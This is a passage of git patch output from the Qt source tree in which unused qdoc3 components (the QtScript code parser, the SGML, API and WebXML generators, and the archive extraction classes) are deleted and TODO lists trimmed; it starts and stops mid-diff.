(!property->resetters().isEmpty()) - funcBlackList.insert(property->resetters().first()->name()); - propertyBlackList.insert(property->name()); - } - } - } - else if ((*c)->type() == Node::Function) { - FunctionNode *func = (FunctionNode *) *c; - quickifyFunction(quickClass, qtClass, func, - funcBlackList.contains((*c)->name()) && - func->parameters().count() < 2); - } - } - ++c; - } - } - setQtDoc(quickClass, qtClass->doc()); - classesWithNoQuickDoc.insert(quickClass->name(), quickClass); -} - -void QsCodeParser::quickifyEnum(ClassNode *quickClass, EnumNode *enume) -{ - EnumNode *quickEnum = new EnumNode(quickClass, enume->name()); - quickEnum->setLocation(enume->location()); -#if 0 // ### not yet - quickEnum->setAccess(Node::Protected); -#endif - - QList::ConstIterator it = enume->items().begin(); - while (it != enume->items().end()) { - QString name = (*it).name(); - QString value = (*it).value(); - quickEnum->addItem(EnumItem(name, value)); - ++it; - } - setQtDoc(quickEnum, enume->doc()); -} - -void QsCodeParser::quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList) -{ - if (func->metaness() == FunctionNode::Dtor) - return; - - FunctionNode *kernelFunc = findKernelFunction( - QStringList() << quickClass->name(), func->name()); - - QString quickName = func->name(); - if (func->metaness() == FunctionNode::Ctor) - quickName = quickClass->name(); - FunctionNode *quickFunc = new FunctionNode(quickClass, quickName); - quickFunc->setLocation(func->location()); - - if (onBlackList) { - quickFunc->setAccess(Node::Protected); - } - else { - if (kernelFunc != 0 && func->numOverloads() == 1 && - (func->parameters().count() == 0 || - func->parameters().last().defaultValue().isEmpty())) { - kernelFunc->setAccess(Node::Private); - } - else { - if (func->metaness() == FunctionNode::Plain) - quickFunc->setAccess(Node::Protected); - } - } - - quickFunc->setReturnType(cpp2qs.convertedDataType(qsTre, - func->returnType())); - if (func->metaness() != FunctionNode::Slot) - quickFunc->setMetaness(func->metaness()); - quickFunc->setVirtualness(FunctionNode::ImpureVirtual); - quickFunc->setOverload(func->isOverload()); - - QList::ConstIterator q = func->parameters().begin(); - while (q != func->parameters().end()) { - QString dataType = cpp2qs.convertedDataType(qsTre, (*q).leftType(), - (*q).rightType()); - if (dataType.isEmpty()) { - dataType = "UNKNOWN"; - quickFunc->setAccess(Node::Private); - } - Parameter param(dataType, "", (*q).name(), - (*q).defaultValue().isEmpty() ? "" : "undefined"); - quickFunc->addParameter(param); - ++q; - } - - if (func->doc().isEmpty()) { - if (func->parent() != (InnerNode *) qtClass) { - func = qtClass->findFunctionNode(func); - if (func != 0) - setQtDoc(quickFunc, func->doc()); - } - } - else { - setQtDoc(quickFunc, func->doc()); - } -} - -void QsCodeParser::quickifyProperty(ClassNode *quickClass, - ClassNode * /* qtClass */, - PropertyNode *property) -{ - PropertyNode *quickProperty = new PropertyNode(quickClass, - property->name()); - quickProperty->setLocation(property->location()); - quickProperty->setDataType(cpp2qs.convertedDataType(qsTre, - property->dataType())); -#if 0 - quickProperty->setGetter(property->getter()); - quickProperty->setSetter(property->setter()); - quickProperty->setResetter(property->resetter()); -#endif - quickProperty->setStored(property->isStored()); - quickProperty->setDesignable(property->isDesignable()); - - setQtDoc(quickProperty, property->doc()); -} - -QString QsCodeParser::quickifiedDoc(const QString& source) -{ - QString result; - int i = 0; - - while (i < (int) source.length()) { - if (leftWordBoundary(source, i)) { - if (source[i] == 'Q') { - if (source[i + 1] == 'C' && source.mid(i, 8) == "QCString") { - i += 2; - } - else { - int end = i + 1; - while (isWord(source[end])) - ++end; - if (!classesWithNoQ.contains( - source.mid(i + 1, end - (i + 1)))) - result += "Q"; - i++; - } - } - else if (source[i] == 'T' && source.mid(i, 4) == "TRUE" && - rightWordBoundary(source, i + 4)) { - result += "\\c{true}"; - i += 4; - } - else if (source[i] == 'F' && source.mid(i, 5) == "FALSE" && - rightWordBoundary(source, i + 5)) { - result += "\\c{false}"; - i += 5; - } - else if (source[i] == 'c' && source.mid(i, 6) == "const ") { - i += 6; - } - else { - result += source[i++]; - } - } - else if ((source[i] == ':' && source[i + 1] == ':') || - (source[i] == '-' && source[i + 1] == '>')) { - result += '.'; - i += 2; - } - else if (source[i] == '\\') { - // ### make independent of the command name - if (source.mid(i, 5) == "\\code") { - do { - result += source[i++]; - } while (source[i - 1] != '\n'); - - int begin = i; - int end = source.indexOf("\\endcode", i); - if (end != -1) { - QString code = source.mid(begin, end - begin); - result += cpp2qs.convertedCode(qsTre, code, - classesWithNoQ); - i = end; - } - } - else { - result += source[i++]; - } - } - else { - result += source[i++]; - } - } - - QList::ConstIterator b = replaceBefores.begin(); - QStringList::ConstIterator a = replaceAfters.begin(); - while (a != replaceAfters.end()) { - result.replace(*b, *a); - ++b; - ++a; - } - return result; -} - -void QsCodeParser::setQtDoc(Node *quickNode, const Doc& doc) -{ - if (!doc.isEmpty()) { - Doc quickDoc(doc.location(), doc.location(), - quickifiedDoc(doc.source()), - CppCodeParser::topicCommands() + - CppCodeParser::otherMetaCommands()); - quickNode->setDoc(quickDoc, true); - } -} - -void QsCodeParser::setQuickDoc(Node *quickNode, - const Doc& doc, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp quickifyCommand("\\\\" + COMMAND_QUICKIFY + "([^\n]*)(?:\n|$)"); - - if (quickNode->type() == Node::Function) { - FunctionNode *quickFunc = (FunctionNode *) quickNode; - quickFunc->setOverload(false); - } - - if (doc.metaCommandsUsed().contains(COMMAND_QUICKIFY)) { - QString source = doc.source(); - int pos = source.indexOf(quickifyCommand); - if (pos != -1) { - QString quickifiedSource = quickNode->doc().source(); - if (!qtParams.isEmpty() && qtParams != quickParams) - renameParameters(quickifiedSource, doc, qtParams, - quickParams); - applyReplacementList(quickifiedSource, doc); - - do { - QString extract = quickifiedSource; - QString arg = quickifyCommand.cap(1).simplified(); - if (!arg.isEmpty()) { - if (arg.startsWith("/") && arg.endsWith("/") && - arg.length() > 2) { - QString pattern = arg.mid(1, arg.length() - 2); - extractRegExp(QRegExp(pattern), extract, doc); - } - else { - extractTarget(arg, extract, doc); - } - } - source.replace(pos, quickifyCommand.matchedLength(), extract); - pos += extract.length(); - } while ((pos = source.indexOf(quickifyCommand, pos)) != -1); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + - COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - source.replace(quickcodeRegExp, ""); - } - - Doc quickDoc(doc.location(), - doc.location(), - source, - (CppCodeParser::topicCommands() + topicCommands() + - CppCodeParser::otherMetaCommands()) << COMMAND_REPLACE); - quickNode->setDoc(quickDoc, true); - processOtherMetaCommands(quickDoc, quickNode); - } - else { - quickNode->setDoc(doc, true); - processOtherMetaCommands(doc, quickNode); - } -} - -bool QsCodeParser::makeFunctionNode(const QString& synopsis, - QStringList *parentPathPtr, - FunctionNode **funcPtr) -{ - QRegExp funcRegExp( - "\\s*([A-Za-z0-9_]+)\\.([A-Za-z0-9_]+)\\s*\\((" + - balancedParens + - ")\\)(?:\\s*:\\s*([A-Za-z0-9_]+))?\\s*"); - QRegExp paramRegExp( - "\\s*(\\[)?\\s*(?:([A-Za-z0-9_]+)\\s*:\\s*)?" - "([A-Za-z0-9_]+|\\.\\.\\.)\\s*(\\[)?[\\s\\]]*"); - - if (!funcRegExp.exactMatch(synopsis)) - return false; - - ClassNode *classe = (ClassNode*) - qsTre->findNode(QStringList(funcRegExp.cap(1)),Node::Class); - if (classe == 0) - return false; - - FunctionNode *clone = new FunctionNode(0, funcRegExp.cap(2)); - bool optional = false; - - QString paramStr = funcRegExp.cap(3); - QStringList params = paramStr.split(","); - QStringList::ConstIterator p = params.begin(); - while (p != params.end()) { - if (paramRegExp.exactMatch(*p)) { - if (!paramRegExp.cap(1).isEmpty()) - optional = true; - clone->addParameter(Parameter(paramRegExp.cap(3), - "", - paramRegExp.cap(2), - optional ? "undefined" : "")); - if (!paramRegExp.cap(4).isEmpty()) - optional = true; - } - else { - delete clone; - return false; - } - ++p; - } - QString returnType = funcRegExp.cap(4); - if (!returnType.isEmpty()) - clone->setReturnType(returnType); - if (parentPathPtr != 0) - *parentPathPtr = QStringList() << classe->name(); - if (funcPtr != 0) { - *funcPtr = clone; - } - else { - delete clone; - } - return true; -} - -bool QsCodeParser::isWord(QChar ch) -{ - return ch.isLetterOrNumber() || ch == QChar('_'); -} - -bool QsCodeParser::leftWordBoundary(const QString& str, int pos) -{ - return !isWord(str[pos - 1]) && isWord(str[pos]); -} - -bool QsCodeParser::rightWordBoundary(const QString& str, int pos) -{ - return isWord(str[pos - 1]) && !isWord(str[pos]); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodeparser.h b/tools/qdoc3/qscodeparser.h deleted file mode 100644 index 28924d7..0000000 --- a/tools/qdoc3/qscodeparser.h +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.h -*/ - -#ifndef QSCODEPARSER_H -#define QSCODEPARSER_H - -#include "cppcodeparser.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -class QsCodeParser : public CppCodeParser -{ - public: - QsCodeParser(Tree *cppTree); - ~QsCodeParser(); - - virtual void initializeParser(const Config& config); - virtual void terminateParser(); - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); - virtual void parseHeaderFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void parseSourceFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void doneParsingHeaderFiles(Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - - FunctionNode *findFunctionNode(const QString& synopsis, Tree *tree); - - protected: - virtual QSet topicCommands(); - virtual Node *processTopicCommand(const Doc& doc, const QString& command, - const QString& arg); - virtual QSet otherMetaCommands(); - virtual void processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, Node *node); - - private: - ClassNode *tryClass(const QString& className); - FunctionNode *findKernelFunction(const QStringList& parentPath, - const QString& name); - void extractRegExp(const QRegExp& regExp, QString& source, - const Doc& doc); - void extractTarget(const QString& target, QString& source, - const Doc& doc); - void renameParameters(QString& source, const Doc& doc, - const QStringList& qtNames, - const QStringList& quickNames); - void applyReplacementList(QString& source, const Doc& doc); - void quickifyClass(ClassNode *quickClass); - void quickifyEnum(ClassNode *quickClass, EnumNode *enume); - void quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList); - void quickifyProperty(ClassNode *quickClass, ClassNode *qtClass, - PropertyNode *property); - QString quickifiedDoc(const QString& source); - void setQtDoc(Node *quickNode, const Doc& doc); - void setQuickDoc(Node *quickNode, const Doc& doc, - const QStringList& qtParams = QStringList(), - const QStringList& quickParams = QStringList()); - bool makeFunctionNode(const QString& synopsis, QStringList *parentPathPtr, - FunctionNode **funcPtr); - - static bool isWord(QChar ch); - static bool leftWordBoundary(const QString& str, int pos); - static bool rightWordBoundary(const QString& str, int pos); - - QMap nodeTypeMap; - QMap classesWithNoQuickDoc; - QList replaceBefores; - QStringList replaceAfters; - QSet classesWithNoQ; - Tree* cppTre; - Tree* qsTre; - QRegExp replaceRegExp; - CppToQsConverter cpp2qs; - - static int tabSize; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/sgmlgenerator.cpp b/tools/qdoc3/sgmlgenerator.cpp deleted file mode 100644 index 1858028..0000000 --- a/tools/qdoc3/sgmlgenerator.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.cpp -*/ - -#include "sgmlgenerator.h" - -QT_BEGIN_NAMESPACE - -SgmlGenerator::SgmlGenerator() -{ -} - -SgmlGenerator::~SgmlGenerator() -{ -} - -QString SgmlGenerator::format() -{ - return "SGML"; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/sgmlgenerator.h b/tools/qdoc3/sgmlgenerator.h deleted file mode 100644 index ef1f07f..0000000 --- a/tools/qdoc3/sgmlgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - sgmlgenerator.h -*/ - -#ifndef SGMLGENERATOR_H -#define SGMLGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class SgmlGenerator : public BookGenerator -{ -public: - SgmlGenerator(); - ~SgmlGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif -- cgit v0.12 From 5d2eaa50cb1a95f370d7db7413c112e85c83c66d Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 19 Nov 2010 19:01:29 +0100 Subject: Further simplifications to qdoc3. Removed the unused ApiGenerator class. Removed archive and uncompression support not used in Qt. Removed the unused WebXML generator used to dump documentation as XML for an ancient documentation Web project. --- tools/qdoc3/JAVATODO.txt | 28 - tools/qdoc3/TODO.txt | 9 - tools/qdoc3/apigenerator.cpp | 150 ----- tools/qdoc3/apigenerator.h | 65 -- tools/qdoc3/archiveextractor.cpp | 108 --- tools/qdoc3/archiveextractor.h | 78 --- tools/qdoc3/config.cpp | 72 +- tools/qdoc3/generator.cpp | 29 - tools/qdoc3/main.cpp | 24 - tools/qdoc3/polyarchiveextractor.cpp | 94 --- tools/qdoc3/polyarchiveextractor.h | 70 -- tools/qdoc3/polyuncompressor.cpp | 109 ---- tools/qdoc3/polyuncompressor.h | 71 -- tools/qdoc3/qdoc3.pro | 18 +- tools/qdoc3/uncompressor.cpp | 108 --- tools/qdoc3/uncompressor.h | 79 --- tools/qdoc3/webxmlgenerator.cpp | 1195 ---------------------------------- tools/qdoc3/webxmlgenerator.h | 127 ---- 18 files changed, 5 insertions(+), 2429 deletions(-) delete mode 100644 tools/qdoc3/JAVATODO.txt delete mode 100644 tools/qdoc3/apigenerator.cpp delete mode 100644 tools/qdoc3/apigenerator.h delete mode 100644 tools/qdoc3/archiveextractor.cpp delete mode 100644 tools/qdoc3/archiveextractor.h delete mode 100644 tools/qdoc3/polyarchiveextractor.cpp delete mode 100644 tools/qdoc3/polyarchiveextractor.h delete mode 100644 tools/qdoc3/polyuncompressor.cpp delete mode 100644 tools/qdoc3/polyuncompressor.h delete mode 100644 tools/qdoc3/uncompressor.cpp delete mode 100644 tools/qdoc3/uncompressor.h delete mode 100644 tools/qdoc3/webxmlgenerator.cpp delete mode 100644 tools/qdoc3/webxmlgenerator.h diff --git a/tools/qdoc3/JAVATODO.txt b/tools/qdoc3/JAVATODO.txt deleted file mode 100644 index 911b7a5..0000000 --- a/tools/qdoc3/JAVATODO.txt +++ /dev/null @@ -1,28 +0,0 @@ - * index page on "O" and downwards? - * flag types, e.g. QTextStream::NumberFlags - * example references qt.nokia.com/doc etc. - - * fix enum value table (e.g. QCoreApplication.Encoding.html) - * check reimplementation of interface functions (e.g. QWidget::widthMM()) - * handle '::' in doc, e.g. in QAbstractEventDispatcher's detailed desc - * make sure default constructor logic doesn't interfere with default params (e.g. QAbstractEventDispatcher ctors) - * document default constructor provided for Java (e.g.?) - * document "protected QAbstractEventDispatcher(QtObject.QPrivateConstructor p)" and the like - * memory-managed, type - - * replace QString with String, etc. - * nested classes - * enum_1 - - * fix stylesheet - * no link to class itself - * support \ifjava - * add // C++ - * support Java-only /*! ... */ comments - - * links to property names have to be fixed - * example: version 1 in QStyleOptionFrame - * example: foo -> isFoo() - - * lowercase, and remove final stop, in \brief texts for variables and properties - * omit "see alsos" that don't work instead of showing them as broken links diff --git a/tools/qdoc3/TODO.txt b/tools/qdoc3/TODO.txt index 6deeb06..9bf4a28 100644 --- a/tools/qdoc3/TODO.txt +++ b/tools/qdoc3/TODO.txt @@ -10,8 +10,6 @@ * Don't turn X11 and similar names into links. * Added automatic links from getters to setters and vice versa. * Support \module and show which module each class is from. - * Use bullet list for the list of all functions, now that - Assistant handles these gracefully. * Fix occasional crash caused by misuse of const_cast(). * Provide clearer error messages when resolves fail. @@ -55,12 +53,9 @@ MUST HAVES: * Provide a "List of all properties" page. * expand QObjectList -> QList - * make \macro work (?) * warning for unnamed parameters in property access functions * \center...\endcenter - * warning for undocumented enum values - LINKS: * explanation following nonstandard wording warning @@ -74,8 +69,6 @@ LINKS: * implement \sidebar - * implement qbook - * implement \legalesefile * show in which module each class is @@ -92,5 +85,3 @@ NICE FEATURES: OTHER: * make qdoc run faster * make sure \headerfile works even if specified after \relates - - * use qtstyle.css instead of inline style for each page diff --git a/tools/qdoc3/apigenerator.cpp b/tools/qdoc3/apigenerator.cpp deleted file mode 100644 index 41c89c7..0000000 --- a/tools/qdoc3/apigenerator.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include "apigenerator.h" -#include "codemarker.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -static QString indentStr(int indent) -{ - QString str; - str.fill(QLatin1Char(' '), indent * 4); - return str; -} - -static bool lessThanName(Node *node1, Node *node2) -{ - return node1->name() < node2->name(); -} - -QString ApiGenerator::format() -{ - return QLatin1String("API"); -} - -void ApiGenerator::generateTree(const Tree *tree, CodeMarker *marker) -{ - QFile outFile(QLatin1String("api")); - outFile.open(QIODevice::WriteOnly); - - out.setDevice(&outFile); - generateNode(tree->root(), marker); - out.flush(); -} - -void ApiGenerator::generateNode(const Node *node, CodeMarker *marker, int indent) -{ - if (node->access() == Node::Private) - return; - - switch (node->type()) { - case Node::Namespace: - if (!node->name().isEmpty()) { - out << indentStr(indent) << "Namespace: " << node->name() << "\n"; - ++indent; - } - break; - case Node::Class: - { - const ClassNode *classe = static_cast(node); - out << indentStr(indent) << "Class: " << node->name(); - foreach (const RelatedClass &baseClass, classe->baseClasses()) { - if (baseClass.access == Node::Public) - out << " inherits " << baseClass.dataTypeWithTemplateArgs; - } - out << "\n"; - ++indent; - } - break; - case Node::Enum: - { - const EnumNode *enume = static_cast(node); - out << indentStr(indent) << "Enum: " << node->name() << "\n"; - ++indent; - - QStringList enumNames; - foreach (const EnumItem &item, enume->items()) - enumNames << item.name(); - qSort(enumNames); - - foreach (const QString &name, enumNames) - out << indentStr(indent) << "Enum value: " << name << "\n"; - } - break; - case Node::Typedef: - out << indentStr(indent) << "Typedef: " << node->name() << "\n"; - ++indent; - break; - case Node::Function: - { - out << indentStr(indent) << "Function: " - << plainCode(marker->markedUpSynopsis(node, 0, CodeMarker::Detailed)) << "\n"; - ++indent; - } - break; - case Node::Property: - { - const PropertyNode *property = static_cast(node); - out << indentStr(indent) << "Property: " << property->name() - << " type " << property->dataType() << "\n"; - ++indent; - } - break; - default: - ; - } - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - NodeList nodes = inner->childNodes(); - qSort(nodes.begin(), nodes.end(), lessThanName); - foreach (const Node *child, nodes) - generateNode(child, marker, indent); - } - - out.flush(); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/apigenerator.h b/tools/qdoc3/apigenerator.h deleted file mode 100644 index fefef5d..0000000 --- a/tools/qdoc3/apigenerator.h +++ /dev/null @@ -1,65 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef APIGENERATOR_H -#define APIGENERATOR_H - -#include - -#include "generator.h" - -QT_BEGIN_NAMESPACE - -class ApiGenerator : public Generator -{ -public: - QString format(); - void generateTree(const Tree *tree, CodeMarker *marker); - -private: - void generateNode(const Node *node, CodeMarker *marker, int indent = 0); - - QTextStream out; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/archiveextractor.cpp b/tools/qdoc3/archiveextractor.cpp deleted file mode 100644 index 6d3d736..0000000 --- a/tools/qdoc3/archiveextractor.cpp +++ /dev/null @@ -1,108 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - archiveextractor.cpp -*/ - -#include "archiveextractor.h" - -QT_BEGIN_NAMESPACE - -QList ArchiveExtractor::extractors; - -/*! - \class ArchiveExtractor - - \brief The ArchiveExtractor class is a base class for classes that - know how to unpack a certain kind of archive file. - - The archive extractor contains a list of the filename extensions - of the files that the archive extractor knows how to unpack. - - It maintains a static list of all the instances of ArchiveExtractor - that have been created. It also has a static function for searching - that list to find the archive extracter for a file with a certain - extension. - */ - -/*! - The constructor takes a list of filename extensions, which it - copies and saves internally. This archive extractor is prepended - to the static list. - */ -ArchiveExtractor::ArchiveExtractor( const QStringList& extensions ) - : fileExts( extensions ) -{ - extractors.prepend( this ); -} - -/*! - The destructor deletes all the filename extensions. - */ -ArchiveExtractor::~ArchiveExtractor() -{ - extractors.removeAll( this ); -} - -/*! - This function searches the static list of archive extractors - to find the first one that can handle \a fileName. If it finds - an acceptable extractor, it returns a pointer to it. Otherwise - it returns null. - */ -ArchiveExtractor* -ArchiveExtractor::extractorForFileName( const QString& fileName ) -{ - int dot = -1; - while ( (dot = fileName.indexOf(QLatin1Char('.'), dot + 1)) != -1 ) { - QString ext = fileName.mid( dot + 1 ); - QList::ConstIterator e = extractors.begin(); - while ( e != extractors.end() ) { - if ( (*e)->fileExtensions().contains(ext) ) - return *e; - ++e; - } - } - return 0; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/archiveextractor.h b/tools/qdoc3/archiveextractor.h deleted file mode 100644 index 678945a..0000000 --- a/tools/qdoc3/archiveextractor.h +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - archiveextractor.h -*/ - -#ifndef ARCHIVEEXTRACTOR_H -#define ARCHIVEEXTRACTOR_H - -#include - -#include "location.h" - -QT_BEGIN_NAMESPACE - -class ArchiveExtractor -{ -public: - ArchiveExtractor( const QStringList& extensions ); - virtual ~ArchiveExtractor(); - - virtual void extractArchive( const Location& location, - const QString& filePath, - const QString& outputDir ) = 0; - - static ArchiveExtractor *extractorForFileName( const QString& fileName ); - -protected: - const QStringList& fileExtensions() { return fileExts; } - -private: - QStringList fileExts; - - static QList extractors; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/config.cpp b/tools/qdoc3/config.cpp index 4d1c378..0146a26 100644 --- a/tools/qdoc3/config.cpp +++ b/tools/qdoc3/config.cpp @@ -49,9 +49,7 @@ #include #include -#include "archiveextractor.h" #include "config.h" -#include "uncompressor.h" #include QT_BEGIN_NAMESPACE @@ -150,7 +148,6 @@ QStringList MetaStack::getExpanded(const Location& location) } QT_STATIC_CONST_IMPL QString Config::dot = QLatin1String("."); -QMap Config::uncompressedFiles; QMap Config::extractedDirs; int Config::numInstances; @@ -178,30 +175,9 @@ Config::Config(const QString& programName) } /*! - The destructor deletes all the temporary files and - directories it built. */ Config::~Config() { - if (--numInstances == 0) { - QMap::ConstIterator f = 